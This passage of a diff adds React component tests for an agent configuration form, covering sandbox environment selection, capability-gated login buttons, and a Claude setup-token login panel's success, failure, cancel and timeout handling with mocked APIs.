+    mockAgentsApi.getClaudeOAuthTokenStatus.mockResolvedValue(null);
   });
 
   afterEach(async () => {
@@ -490,6 +742,28 @@ describe("AgentConfigForm environment selector", () => {
     expect(selector?.textContent).toContain("E2B · sandbox");
   });
 
+  it("shows the environment override for Kimi local agents", async () => {
+    const result = await renderForm(
+      [
+        makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+        makeEnvironment({
+          id: "sandbox-1",
+          name: "E2B",
+          driver: "sandbox",
+          config: { provider: "e2b" },
+        }),
+      ],
+      { adapterType: "kimi_local" },
+    );
+    roots.push(result.root);
+
+    const text = result.container.textContent ?? "";
+    const selector = result.container.querySelector("select");
+
+    expect(text).toContain("Environment override");
+    expect(selector?.textContent).toContain("E2B · sandbox");
+  });
+
   it("keeps an existing non-runnable override visible so it can be cleared", async () => {
     const result = await renderForm(
       [
@@ -513,6 +787,27 @@ describe("AgentConfigForm environment selector", () => {
     expect(selector?.textContent).toContain("Fake Sandbox · sandbox");
   });
 
+  it("labels the platform-managed instance default by name, without the driver key", async () => {
+    mockInstanceSettingsApi.get.mockResolvedValue({ defaultEnvironmentId: "managed-1" });
+    const result = await renderForm([
+      makeEnvironment({
+        id: "managed-1",
+        name: "Paperclip Computer",
+        driver: "sandbox",
+        config: { provider: "daytona" },
+        metadata: { managedByPaperclip: true },
+      }),
+    ]);
+    roots.push(result.root);
+
+    const selector = result.container.querySelector("select");
+
+    expect(selector?.textContent).toContain("Default: Paperclip Computer");
+    expect(selector?.textContent).toContain("Paperclip Computer");
+    expect(selector?.textContent).not.toContain("(sandbox)");
+    expect(selector?.textContent).not.toContain("· sandbox");
+  });
+
   it("renders non-local adapter config fields in the Adapter card", async () => {
     const result = await renderForm(
       [makeEnvironment({ id: "local-1", name: "Local", driver: "local" })],
@@ -747,6 +1042,153 @@ describe("AgentConfigForm environment selector", () => {
     expect(findButton(result.container, "Log in")).toBeTruthy();
   });
 
+  it("shows the login affordance and the displayed-code panel for a third adapter with a projected login capability", async () => {
+    // The adapter is not a built-in. Its projected login capability drives the
+    // login affordance and the panel, so the form reads the capability, not the
+    // adapter name. The displayed-code panel shows the server code.
+    mockAgentsApi.testEnvironment.mockResolvedValue(VENDOR_AUTH_MISSING_RESULT);
+    const result = await renderVendorSandbox();
+    roots.push(result.root);
+
+    expect(findButton(result.container, "Log in")).toBeFalsy();
+
+    await runTest(result.container);
+
+    // The projected capability gates the login affordance on for the third
+    // adapter.
+    expect(findButton(result.container, "Log in")).toBeTruthy();
+
+    await startLogin(result.container);
+
+    // The displayed-code panel shows the one-time code and the authentication
+    // URL. It shows no browser-code input, so the dispatcher picked the panel
+    // from the projected `displayed_code` mode.
+    expect(result.container.textContent).toContain("WXYZ-1234");
+    expect(result.container.querySelector('input[aria-label="Browser code"]')).toBeFalsy();
+  });
+
+  it("hides the Login button before Test and shows it after the adapter_auth_missing check for a Claude sandbox", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    expect(findButton(result.container, "Log in")).toBeFalsy();
+
+    await runTest(result.container);
+
+    expect(findButton(result.container, "Log in")).toBeTruthy();
+  });
+
+  it("hides the Login button for a Claude sandbox whose provider lacks the setup-token login capability", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderForm(
+      [
+        makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+        makeEnvironment({
+          id: "sandbox-1",
+          name: "E2B",
+          driver: "sandbox",
+          config: { provider: "e2b" },
+        }),
+      ],
+      { adapterType: "claude_local", defaultEnvironmentId: "sandbox-1" },
+      { showAdapterTestEnvironmentButton: true },
+    );
+    roots.push(result.root);
+
+    await runTest(result.container);
+
+    // E2B does not advertise the setup-token login capability, so the panel
+    // stays hidden even after the auth-missing check.
+    expect(findButton(result.container, "Log in")).toBeFalsy();
+  });
+
+  it("hides the Login button for a Daytona sandbox while the capabilities report no setup-token support", async () => {
+    // Reproduces the reported defect: the Test carries the auth-missing check,
+    // but the capabilities endpoint reports `supportsLoginPty: false`
+    // for Daytona (a stale persisted plugin manifest). The gate hides the
+    // panel. The server-side fix refreshes the persisted manifest so the
+    // capability reports true and the panel shows (see the companion positive
+    // test above).
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockEnvironmentsApi.capabilities.mockResolvedValue(
+      getEnvironmentCapabilities(["claude_local", "codex_local"], {
+        sandboxProviders: {
+          daytona: { supportsLoginPty: false, displayName: "Daytona" },
+        },
+      }),
+    );
+    const result = await renderForm(
+      [
+        makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+        makeEnvironment({
+          id: "sandbox-1",
+          name: "Daytona",
+          driver: "sandbox",
+          config: { provider: "daytona" },
+        }),
+      ],
+      { adapterType: "claude_local", defaultEnvironmentId: "sandbox-1" },
+      { showAdapterTestEnvironmentButton: true },
+    );
+    roots.push(result.root);
+
+    await runTest(result.container);
+
+    expect(findButton(result.container, "Log in")).toBeFalsy();
+  });
+
+  it("gates a pseudo-terminal login on the provider pty capability for a non-Claude adapter", async () => {
+    // The gate reads the adapter login transport, not the adapter name. This
+    // adapter is not `claude_local`, but its login runs on a pseudo-terminal.
+    // The E2B provider reports no pty capability, so the panel stays hidden even
+    // after the auth-missing check.
+    mockAgentsApi.testEnvironment.mockResolvedValue(PTY_VENDOR_AUTH_MISSING_RESULT);
+    const result = await renderForm(
+      [
+        makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+        makeEnvironment({
+          id: "sandbox-1",
+          name: "E2B",
+          driver: "sandbox",
+          config: { provider: "e2b" },
+        }),
+      ],
+      { adapterType: "pty_vendor_local", defaultEnvironmentId: "sandbox-1" },
+      { showAdapterTestEnvironmentButton: true },
+    );
+    roots.push(result.root);
+
+    await runTest(result.container);
+
+    expect(findButton(result.container, "Log in")).toBeFalsy();
+  });
+
+  it("shows a pseudo-terminal login for a non-Claude adapter when the provider advertises pty support", async () => {
+    // The same non-Claude pseudo-terminal adapter on Daytona. Daytona advertises
+    // the pty capability, so the panel shows. This confirms the gate follows the
+    // provider capability, not the adapter name.
+    mockAgentsApi.testEnvironment.mockResolvedValue(PTY_VENDOR_AUTH_MISSING_RESULT);
+    const result = await renderForm(
+      [
+        makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+        makeEnvironment({
+          id: "sandbox-1",
+          name: "Daytona",
+          driver: "sandbox",
+          config: { provider: "daytona" },
+        }),
+      ],
+      { adapterType: "pty_vendor_local", defaultEnvironmentId: "sandbox-1" },
+      { showAdapterTestEnvironmentButton: true },
+    );
+    roots.push(result.root);
+
+    await runTest(result.container);
+
+    expect(findButton(result.container, "Log in")).toBeTruthy();
+  });
+
   it("shows the Login button when a parent lifts the test feedback and renders the panel from the descriptor", async () => {
     // The create page hides the inline feedback branch and renders the test
     // result and the login panel itself. This harness mirrors that parent: it
@@ -842,6 +1284,73 @@ describe("AgentConfigForm environment selector", () => {
     expect(findButton(result.container, "Log in")).toBeFalsy();
   });
 
+  it("shows the Login button for an agent with no own environment under the managed-sandbox-only policy", async () => {
+    // The agent has no own environment, so the login target resolves the same
+    // way as the adapter Test target. The managed-sandbox-only policy redirects
+    // that resolution from the hidden local environment to the managed sandbox.
+    // The login affordance must read the managed sandbox, so it shows after the
+    // auth-missing check. A login target that stayed local would hide the panel
+    // for the target the real run uses.
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue({
+      enableEnvironments: true,
+      enableManagedSandboxOnly: true,
+    });
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderForm(
+      [
+        makeEnvironment({
+          id: "local-1",
+          name: "Local",
+          driver: "local",
+          metadata: { defaultForInstance: true },
+        }),
+        makeEnvironment({
+          id: "managed-1",
+          name: "Managed",
+          driver: "sandbox",
+          config: { provider: "daytona" },
+          metadata: { managedByPaperclip: true },
+        }),
+      ],
+      { adapterType: "claude_local", defaultEnvironmentId: null },
+      { showAdapterTestEnvironmentButton: true },
+    );
+    roots.push(result.root);
+
+    expect(findButton(result.container, "Log in")).toBeFalsy();
+
+    await runTest(result.container);
+
+    expect(findButton(result.container, "Log in")).toBeTruthy();
+  });
+
+  it("keeps the Login button hidden under the managed-sandbox-only policy when no managed sandbox is available", async () => {
+    // The policy is on, but no managed sandbox environment exists, so the login
+    // target resolution fails closed. The render catches that failure and
+    // resolves no login environment, so the affordance stays hidden. The Test
+    // surfaces the same case as a fail-closed error.
+    mockInstanceSettingsApi.getExperimental.mockResolvedValue({
+      enableEnvironments: true,
+      enableManagedSandboxOnly: true,
+    });
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderForm(
+      [
+        makeEnvironment({
+          id: "local-1",
+          name: "Local",
+          driver: "local",
+          metadata: { defaultForInstance: true },
+        }),
+      ],
+      { adapterType: "claude_local", defaultEnvironmentId: null },
+      { showAdapterTestEnvironmentButton: true },
+    );
+    roots.push(result.root);
+
+    expect(findButton(result.container, "Log in")).toBeFalsy();
+  });
+
   it("starts a login session for the effective sandbox and shows the code and the authentication URL", async () => {
     mockAgentsApi.testEnvironment.mockResolvedValue(AUTH_MISSING_RESULT);
     const result = await renderCodexSandbox();
@@ -1079,4 +1588,1074 @@ describe("AgentConfigForm environment selector", () => {
 
     expect(findButton(result.container, "Log in")).toBeFalsy();
   });
+
+  it("shows the authorization URL and a browser-code input for a Claude sandbox", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      (result.container.textContent ?? "").includes("https://claude.example.test/authorize"),
+    );
+
+    expect(mockAgentsApi.startClaudeSetupTokenLogin).toHaveBeenCalledWith("company-1", {
+      environmentId: "sandbox-1",
+    });
+    // The panel shows the authorization URL and a browser-code input. It never
+    // shows a server-displayed code.
+    expect(result.container.textContent).toContain("https://claude.example.test/authorize");
+    expect(
+      result.container.querySelector('input[aria-label="Browser code"]'),
+    ).toBeTruthy();
+    // The default prompt carries no advisory: a confidential transport. So the
+    // panel shows no disclaimer.
+    expect(result.container.textContent).not.toContain("not encrypted");
+  });
+
+  it("shows a non-blocking disclaimer when the transport advisory is present", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    // The guarded prompt read reports a non-confidential transport. The server
+    // does not block the login; it attaches the advisory. The panel shows a
+    // disclaimer and the login still proceeds.
+    mockAgentsApi.getClaudeSetupTokenLoginPrompt.mockResolvedValue({
+      authorizationUrl: "https://claude.example.test/authorize",
+      transportAdvisory: { code: "insecure_transport" },
+    });
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() => (result.container.textContent ?? "").includes("not encrypted"));
+
+    // The disclaimer states the transport risk in plain language.
+    expect(result.container.textContent).toContain("not encrypted");
+    expect(result.container.textContent).toContain("clear text");
+    // The login still proceeds: the panel shows the URL and the browser-code
+    // input, so the disclaimer never blocks the flow.
+    expect(result.container.textContent).toContain("https://claude.example.test/authorize");
+    expect(
+      result.container.querySelector('input[aria-label="Browser code"]'),
+    ).toBeTruthy();
+  });
+
+  it("submits one browser code and clears the input after submit", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      Boolean(result.container.querySelector('input[aria-label="Browser code"]')),
+    );
+
+    const input = result.container.querySelector<HTMLInputElement>(
+      'input[aria-label="Browser code"]',
+    );
+    setInputValue(input!, "BROWSERCODE-9");
+    await flushReact();
+    await clickByText(result.container, "Submit");
+    await flushReact();
+
+    expect(mockAgentsApi.submitClaudeSetupTokenBrowserCode).toHaveBeenCalledWith(
+      "company-1",
+      "claude-session-1",
+      "BROWSERCODE-9",
+    );
+    // The panel clears the browser code after submit, so the secret does not
+    // linger in the input.
+    const clearedInput = result.container.querySelector<HTMLInputElement>(
+      'input[aria-label="Browser code"]',
+    );
+    expect(clearedInput?.value).toBe("");
+  });
+
+  it("treats the server stored state as success and captures the stored-session claim", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() => (result.container.textContent ?? "").includes("Authenticated"));
+
+    expect(mockAgentsApi.completeClaudeSetupTokenLogin).toHaveBeenCalledWith(
+      "company-1",
+      "claude-session-1",
+    );
+    expect(result.container.textContent).toContain("Authenticated");
+  });
+
+  it("clears the stored-session claim and the fixed binding when the effective environment changes", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    const result = await renderStatefulCreateClaudeSandbox([
+      makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+      makeEnvironment({
+        id: "sandbox-1",
+        name: "Daytona One",
+        driver: "sandbox",
+        config: { provider: "daytona" },
+      }),
+      makeEnvironment({
+        id: "sandbox-2",
+        name: "Daytona Two",
+        driver: "sandbox",
+        config: { provider: "daytona" },
+      }),
+    ]);
+    roots.push(result.root);
+
+    // Log in on the first sandbox. The stored state adds the fixed
+    // `CLAUDE_CODE_OAUTH_TOKEN` binding and the non-secret claim to the form.
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() => result.valuesRef.current.claudeStoredSessionId != null);
+
+    expect(result.valuesRef.current.claudeStoredSessionId).toBe("stored-session-1");
+    expect("CLAUDE_CODE_OAUTH_TOKEN" in (result.valuesRef.current.envBindings ?? {})).toBe(true);
+
+    // Change the effective environment. The reset drops the claim and the
+    // binding, so the create request cannot send a claim for the old target.
+    await selectEnvironment(result.container, "sandbox-2");
+
+    const values = result.valuesRef.current;
+    expect(values.claudeStoredSessionId ?? null).toBeNull();
+    expect(values.claudeApplyStoredLogin ?? false).toBe(false);
+    expect("CLAUDE_CODE_OAUTH_TOKEN" in (values.envBindings ?? {})).toBe(false);
+
+    // The create request body carries no stale claim.
+    const payload = buildNewAgentHirePayload({
+      name: "Cody",
+      effectiveRole: "Engineer",
+      configValues: values,
+      adapterConfig: {},
+    });
+    expect("storedSessionId" in payload).toBe(false);
+  });
+
+  it("clears the false missing-definition error on the bound row after a login stores the token", async () => {
+    // Regression: the user-secret-definitions list read at page load does not
+    // yet contain the Claude token key, but it is not empty. A stale non-empty
+    // list makes the bound row show a false "no longer exists" error. The login
+    // must invalidate the list so the refetch clears the error.
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    const makeDefinition = (key: string): UserSecretDefinition => ({
+      id: `def-${key}`,
+      companyId: "company-1",
+      key,
+      name: key.toUpperCase(),
+      description: null,
+      status: "active",
+      provider: "local_encrypted",
+      managedMode: "paperclip_managed",
+      providerConfigId: null,
+      providerMetadata: null,
+      usageGuidance: null,
+      createdByAgentId: null,
+      createdByUserId: null,
+      updatedByAgentId: null,
+      updatedByUserId: null,
+      deletedAt: null,
+      createdAt: new Date(0),
+      updatedAt: new Date(0),
+    });
+    const staleList = [makeDefinition("OTHER_SECRET")];
+    const freshList = [makeDefinition("OTHER_SECRET"), makeDefinition("CLAUDE_CODE_OAUTH_TOKEN")];
+    mockSecretsApi.listUserSecretDefinitions.mockReset();
+    mockSecretsApi.listUserSecretDefinitions
+      .mockResolvedValueOnce(staleList)
+      .mockResolvedValue(freshList);
+
+    const result = await renderStatefulCreateClaudeSandbox([
+      makeEnvironment({ id: "local-1", name: "Local", driver: "local" }),
+      makeEnvironment({
+        id: "sandbox-1",
+        name: "Daytona",
+        driver: "sandbox",
+        config: { provider: "daytona" },
+      }),
+    ]);
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() => result.valuesRef.current.claudeStoredSessionId != null);
+
+    // The login bound the fixed Claude token row.
+    expect("CLAUDE_CODE_OAUTH_TOKEN" in (result.valuesRef.current.envBindings ?? {})).toBe(true);
+
+    // The invalidation refetched the definitions, so the stale list no longer
+    // drives the row.
+    await flushUntil(() => mockSecretsApi.listUserSecretDefinitions.mock.calls.length >= 2);
+    await flushUntil(() => {
+      const inputs = Array.from(result.container.querySelectorAll("input"));
+      return inputs.some((input) => (input as HTMLInputElement).value === "CLAUDE_CODE_OAUTH_TOKEN");
+    });
+
+    // Vacuous-pass guard: the bound row rendered.
+    const inputs = Array.from(result.container.querySelectorAll("input"));
+    expect(inputs.some((input) => (input as HTMLInputElement).value === "CLAUDE_CODE_OAUTH_TOKEN")).toBe(true);
+    // The row shows no false missing-definition error.
+    expect(result.container.textContent ?? "").not.toContain("no longer exists");
+  });
+
+  it("reports the non-secret stored-session claim to the parent on success", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "authenticated",
+      expiresAt: null,
+      failure: null,
+    });
+    const onStored = vi.fn();
+
+    const container = document.createElement("div");
+    document.body.appendChild(container);
+    const root = createRoot(container);
+    roots.push(root);
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+    });
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <ToastProvider>
+            <TooltipProvider>
+              <AdapterLoginPanel
+                companyId="company-1"
+                adapterType="claude_local"
+                environmentId="sandbox-1"
+                onStored={onStored}
+              />
+            </TooltipProvider>
+          </ToastProvider>
+        </QueryClientProvider>,
+      );
+    });
+    await startLogin(container);
+    await flushUntil(() => onStored.mock.calls.length > 0);
+
+    expect(onStored).toHaveBeenCalledWith("stored-session-1");
+  });
+
+  it("offers an apply-existing affordance when the status route reports a stored value", async () => {
+    mockAgentsApi.getClaudeOAuthTokenStatus.mockResolvedValue({
+      secretId: "secret-1",
+      latestVersion: 3,
+    });
+    const onApplyStored = vi.fn();
+
+    const container = document.createElement("div");
+    document.body.appendChild(container);
+    const root = createRoot(container);
+    roots.push(root);
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+    });
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <ToastProvider>
+            <TooltipProvider>
+              <AdapterLoginPanel
+                companyId="company-1"
+                adapterType="claude_local"
+                environmentId="sandbox-1"
+                onApplyStored={onApplyStored}
+              />
+            </TooltipProvider>
+          </ToastProvider>
+        </QueryClientProvider>,
+      );
+    });
+    await flushUntil(() => Boolean(findButton(container, "Use saved login")));
+
+    await clickByText(container, "Use saved login");
+
+    expect(onApplyStored).toHaveBeenCalledTimes(1);
+    // The panel shows the applied confirmation and hides the apply affordance.
+    await flushUntil(() =>
+      (container.textContent ?? "").includes("The saved Claude login is bound to this agent now."),
+    );
+    expect(findButton(container, "Use saved login")).toBeUndefined();
+    // The apply-existing path never starts a login round trip.
+    expect(mockAgentsApi.startClaudeSetupTokenLogin).not.toHaveBeenCalled();
+  });
+
+  it("does not offer the apply-existing affordance when there is no stored value", async () => {
+    mockAgentsApi.getClaudeOAuthTokenStatus.mockResolvedValue(null);
+    const onApplyStored = vi.fn();
+
+    const container = document.createElement("div");
+    document.body.appendChild(container);
+    const root = createRoot(container);
+    roots.push(root);
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+    });
+
+    await act(async () => {
+      root.render(
+        <QueryClientProvider client={queryClient}>
+          <ToastProvider>
+            <TooltipProvider>
+              <AdapterLoginPanel
+                companyId="company-1"
+                adapterType="claude_local"
+                environmentId="sandbox-1"
+                onApplyStored={onApplyStored}
+              />
+            </TooltipProvider>
+          </ToastProvider>
+        </QueryClientProvider>,
+      );
+    });
+    await flushUntil(() => Boolean(findButton(container, "Log in")));
+
+    expect(findButton(container, "Use saved login")).toBeUndefined();
+    expect(onApplyStored).not.toHaveBeenCalled();
+  });
+
+  it("returns to its start state with a fixed message on a server failed state", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "failed",
+      failure: { reason: "rejected", message: "the provider rejected the browser code" },
+      expiresAt: null,
+    });
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      (result.container.textContent ?? "").includes("The login did not finish"),
+    );
+
+    // The panel shows a fixed message and returns to its start state. The Log in
+    // button is available again.
+    expect(result.container.textContent).toContain("The login did not finish");
+    expect(findButton(result.container, "Log in")?.disabled).toBe(false);
+    // The panel never shows the provider failure message, which could carry a
+    // secret.
+    expect(result.container.textContent).not.toContain("the provider rejected the browser code");
+  });
+
+  it("returns to its start state on a server timed_out state", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+      sessionId: "claude-session-1",
+      environmentId: "sandbox-1",
+      status: "timed_out",
+      failure: null,
+      expiresAt: null,
+    });
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      (result.container.textContent ?? "").includes("The login did not finish"),
+    );
+
+    expect(result.container.textContent).toContain("The login did not finish");
+    expect(findButton(result.container, "Log in")?.disabled).toBe(false);
+  });
+
+  it("shows a terminal failure and stops polling on a status 404 from server cleanup", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    // The server removes the row and the in-memory session at once on a
+    // non-stored terminal state, so the status route returns 404 when the login
+    // fails and the cleanup wins the race against the next poll. The panel must
+    // fail loudly instead of holding stale data.
+    mockAgentsApi.getClaudeSetupTokenLoginStatus.mockRejectedValue(
+      new ApiError("Setup-token login session not found.", 404, {
+        error: "Setup-token login session not found.",
+      }),
+    );
+    // The prompt route also returns 404, so no authorization URL ever surfaces.
+    mockAgentsApi.getClaudeSetupTokenLoginPrompt.mockRejectedValue(
+      new ApiError("Setup-token login session not found.", 404, {
+        error: "Setup-token login session not found.",
+      }),
+    );
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      (result.container.textContent ?? "").includes("The login did not finish"),
+    );
+
+    // The panel shows the fixed failure message and returns to its start state.
+    expect(result.container.textContent).toContain("The login did not finish");
+    expect(findButton(result.container, "Log in")?.disabled).toBe(false);
+
+    // The panel shows no credential material: no authorization URL and no
+    // browser-code input.
+    expect(result.container.textContent).not.toContain("https://claude.example.test/authorize");
+    expect(result.container.querySelector('input[aria-label="Browser code"]')).toBeFalsy();
+
+    // The stale polling stopped. The status call count stays fixed after the
+    // failure, so the panel does not poll a session the server removed.
+    const statusCallsAtFailure = mockAgentsApi.getClaudeSetupTokenLoginStatus.mock.calls.length;
+    await new Promise((resolve) => setTimeout(resolve, 2500));
+    await flushReact();
+    expect(mockAgentsApi.getClaudeSetupTokenLoginStatus.mock.calls.length).toBe(
+      statusCallsAtFailure,
+    );
+  });
+
+  it("cancels an active Claude login and returns to its start state", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      (result.container.textContent ?? "").includes("https://claude.example.test/authorize"),
+    );
+
+    expect(findButton(result.container, "Cancel")).toBeTruthy();
+
+    await clickByText(result.container, "Cancel");
+    await flushReact();
+
+    expect(mockAgentsApi.cancelClaudeSetupTokenLogin).toHaveBeenCalledWith(
+      "company-1",
+      "claude-session-1",
+    );
+    // The panel resets: the Log in button is available again, and the URL and the
+    // browser-code input are gone.
+    expect(findButton(result.container, "Log in")?.disabled).toBe(false);
+    expect(findButton(result.container, "Cancel")).toBeFalsy();
+    expect(result.container.textContent).not.toContain("https://claude.example.test/authorize");
+    expect(result.container.querySelector('input[aria-label="Browser code"]')).toBeFalsy();
+  });
+
+  it("treats a 404 cancel the same as success and returns to its start state", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    // The server removes a terminal session, so a cancel of an already-terminal
+    // or unknown session can return a 404. The panel must treat that 404 the
+    // same as a successful cancel: clear the session and stop the polls.
+    mockAgentsApi.cancelClaudeSetupTokenLogin.mockRejectedValue(
+      new ApiError("Setup-token login session not found.", 404, {
+        error: "Setup-token login session not found.",
+      }),
+    );
+    const result = await renderClaudeSandbox();
+    roots.push(result.root);
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      (result.container.textContent ?? "").includes("https://claude.example.test/authorize"),
+    );
+
+    await clickByText(result.container, "Cancel");
+    await flushReact();
+
+    expect(mockAgentsApi.cancelClaudeSetupTokenLogin).toHaveBeenCalledWith(
+      "company-1",
+      "claude-session-1",
+    );
+    // The panel reset even though the cancel returned a 404: the Log in button is
+    // available again, and the URL and the browser-code input are gone. No error
+    // message remains.
+    expect(findButton(result.container, "Log in")?.disabled).toBe(false);
+    expect(findButton(result.container, "Cancel")).toBeFalsy();
+    expect(result.container.textContent).not.toContain("https://claude.example.test/authorize");
+    expect(result.container.querySelector('input[aria-label="Browser code"]')).toBeFalsy();
+    expect(result.container.textContent).not.toContain("Could not cancel the login.");
+  });
+
+  it("cancels the active server session when the panel unmounts", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderClaudeSandbox();
+
+    await runTest(result.container);
+    await startLogin(result.container);
+    await flushUntil(() =>
+      (result.container.textContent ?? "").includes("https://claude.example.test/authorize"),
+    );
+    // The login is active before the unmount.
+    expect(findButton(result.container, "Cancel")).toBeTruthy();
+
+    await act(async () => {
+      result.root.unmount();
+    });
+
+    // The unmount released the active server session, so the abandoned session
+    // does not hold the per-owner reservation until the server deadline.
+    expect(mockAgentsApi.cancelClaudeSetupTokenLogin).toHaveBeenCalledWith(
+      "company-1",
+      "claude-session-1",
+    );
+  });
+
+  it("does not cancel on unmount when no login is active", async () => {
+    mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+    const result = await renderClaudeSandbox();
+
+    await runTest(result.container);
+    // The panel shows the Log in button but no session started, so no active
+    // session exists to cancel.
+    expect(findButton(result.container, "Log in")).toBeTruthy();
+
+    await act(async () => {
+      result.root.unmount();
+    });
+
+    expect(mockAgentsApi.cancelClaudeSetupTokenLogin).not.toHaveBeenCalled();
+  });
+
+  it("stops both polls and shows the timed-out state at the server deadline", async () => {
+    vi.useFakeTimers();
+    // Pin the clock to a known base. The panel arms the timed-out timer from the
+    // status `expiresAt`, so the test clock and the server deadline share one
+    // base time.
+    const baseNowMs = 1_700_000_000_000;
+    vi.setSystemTime(baseNowMs);
+    // The server deadline for this session. It is far longer than the old fixed
+    // 60-second cutoff, so the test proves the panel now tracks `expiresAt`.
+    const serverDeadlineMs = 5 * 60_000;
+    const expiresAtIso = new Date(baseNowMs + serverDeadlineMs).toISOString();
+    try {
+      mockAgentsApi.testEnvironment.mockResolvedValue(CLAUDE_AUTH_MISSING_RESULT);
+      // The status never reaches a terminal state, and the prompt route returns
+      // 404 forever, so the authorization URL never surfaces. The status route
+      // carries `expiresAt`, which drives the client cutoff. Without the client
+      // cap the panel would poll both routes forever.
+      mockAgentsApi.getClaudeSetupTokenLoginStatus.mockResolvedValue({
+        sessionId: "claude-session-1",
+        environmentId: "sandbox-1",
+        status: "waiting_for_user",
+        expiresAt: expiresAtIso,
+        failure: null,
+      });
+      mockAgentsApi.getClaudeSetupTokenLoginPrompt.mockRejectedValue(
+        new ApiError("Setup-token login session not found.", 404, {
+          error: "Setup-token login session not found.",
+        }),
+      );
+
+      // Flush React effects and pending promises while the fake clock advances by
+      // zero, so the mocked queries settle without real time.
+      const flushFake = async () => {
+        await act(async () => {
+          for (let index = 0; index < 6; index += 1) {
+            await Promise.resolve();
+            await vi.advanceTimersByTimeAsync(0);
+          }
+        });
+      };
+      const clickFake = async (container: HTMLElement, label: string) => {
+        const button = findButton(container, label);
+        await act(async () => {
+          button?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
+        });
+        await flushFake();
+      };
+      const advanceFake = async (ms: number) => {
+        await act(async () => {
+          await vi.advanceTimersByTimeAsync(ms);
+        });
+        await flushFake();
+      };
+
